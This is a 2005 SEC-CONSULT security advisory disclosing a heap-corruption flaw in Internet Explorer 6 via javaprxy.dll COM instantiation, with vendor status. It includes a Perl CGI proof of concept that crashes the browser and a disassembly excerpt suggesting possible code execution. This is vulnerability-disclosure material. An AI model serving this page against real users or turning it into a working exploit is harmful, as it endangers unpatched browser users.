IE6 javaprxy.dll COM instantiation heap corruption

SEC-CONSULT Security Advisory < 20050629-0 >

========================================

title: IE6 javaprxy.dll COM instantiation heap corruption

vulnerability

program: Internet Explorer

vulnerable version: 6.0.2900.2180

homepage: www.microsoft.com

found: 2005-06-17

by: sk0L & Martin Eiszner / SEC-CONSULT / www.sec-consult.com

=========================================

 

 

background:

---------------

 

Internet Explorer supports instantiation of non-ActiveX controls, e.g COM objects, via <object> tags. according to M$, COM components respond gracefully to attempts to treat them as ActiveX controls. on the contrary, we found that at least 20 of the objects available on an average XP system either lead to an instant crash or an exception after a few reloads.

 

 

vulnerability overview:

---------------

 

Loading HTML documents with certain embedded CLSIDs results in null-pointer exceptions or memory corruption. in one case, we could leverage this bug to overwrite a function pointer in the data segment. it *may* be possible to exploit this issue to execute arbitrary code in the context of IE.

 

 

proof of concept:

---------------

 

this simple CGI should crash IE.

 

 

---------------

 

#!/usr/bin/perl

 

# in order for this to work javaprxy.dll must be available on the client.

 

my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0'; # javaprxy.dll

 

my $html1 = "<html><body>/n<object classid=/"CLSID:".$clsid."/"></object>/n";

my $html2 = "/n</body><script>location.reload();</script></html>/n";

 

print "Content-Type: text/html;/r/n/r/n";

 

print $html1.("A"x30000).$html2;

 

---------------

 

on our lab machine, we, end up with eax=00410041, and an exception occurs at the following location in javaprxy.dll:

 

---------------

 

.text:7C508660 mov eax, [ecx]

.text:7C508662 test eax, eax

.text:7C508664 jz short locret_7C50866C

.text:7C508666 mov ecx, [eax]

.text:7C508668 push eax

.text:7C508669 call dword ptr [ecx+8]

 

---------------

 

as you can see, this situation may be exploitable, considering that we have some level of control over eax.

 

 

vulnerable versions:

---------------

 

javaprxy.dll 5.00.3810

internet explorer 6.0.2900.2180.xpsp_sp2_gdr.050301-1519

 

these are the versions tested, other versions may of course be vulnerable.

 

vendor status:

---------------

vendor notified: 2005-06-17

vendor response: 2005-06-17

patch available: ?

 

microsoft does not confirm the vulnerability, as their product team can not reproduce condition. however, they are looking at making changes to handle COM objects in a more robust manner in the future.

 

UPDATE (2005-06-30): we have been informed that microsoft now confirms the issue, as it has been successfully reproduced with the version numbers listed above. they are currently working on a bug fix.

 

~~~~~~~~~~~~~~~~~~

< Bernhard Müller / Martin Eiszner > / www.sec-consult.com /

SGT ::: walter|bruder, flo, tke, dfa :::

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值